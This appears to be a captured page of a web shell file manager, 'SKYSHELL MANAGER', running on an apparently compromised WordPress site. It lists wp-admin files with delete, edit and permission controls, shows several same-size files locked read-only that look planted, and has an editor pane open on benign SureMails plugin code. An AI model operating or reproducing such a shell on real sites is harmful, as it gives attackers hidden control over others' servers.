📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: auth.php
<?php /** * Auth class * * Handles authentication API requests for the SureMails plugin. * * @package SureMails\Inc\API */ namespace SureMails\Inc\API; use SureMails\Inc\Emails\Providers\GMAIL\GmailHandler; use SureMails\Inc\Emails\Providers\ZOHO\ZohoHandler; use SureMails\Inc\Traits\Instance; use WP_REST_Response; use WP_REST_Server; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Class Auth * * @since 0.0.1 */ class Auth extends Api_Base { use Instance; /** * Route base. * * @var string */ protected $rest_base = '/get-auth-url'; /** * Register API routes. * * @since 0.0.1 * @return void */ public function register_routes() { $namespace = $this->get_api_namespace(); register_rest_route( $namespace, $this->rest_base, [ [ 'methods' => WP_REST_Server::CREATABLE, // POST method. 'callback' => [ $this, 'get_auth_url' ], 'permission_callback' => [ $this, 'validate_permission' ], ], ] ); } /** * Retrieves the auth URL based on the provider. * * @param \WP_REST_Request<array<string, mixed>> $request The REST request instance. * @return WP_REST_Response Returns the auth URL or an error. */ public function get_auth_url( $request ): WP_REST_Response { $params = $request->get_json_params(); $provider = isset( $params['provider'] ) ? sanitize_text_field( $params['provider'] ) : ''; $provider_key = strtolower( $provider ); if ( ! in_array( $provider_key, array_keys( $this->get_supported_providers() ), true ) ) { return new WP_REST_Response( [ 'error' => __( 'Unsupported provider.', 'suremails' ) ], 400 ); } $supported_providers = $this->get_supported_providers(); $handler_class = $supported_providers[ $provider_key ]; $response = $handler_class::get_auth_url( $params ); if ( isset( $response['error'] ) ) { return new WP_REST_Response( $response, 400 ); } return new WP_REST_Response( $response, 200 ); } /** * Get supported OAuth providers * * @return array<string, class-string> */ private function get_supported_providers() { return [ 'gmail' => GmailHandler::class, 'zoho' => ZohoHandler::class, ]; } } // Instantiate the Auth class to register the routes. Auth::instance();
Save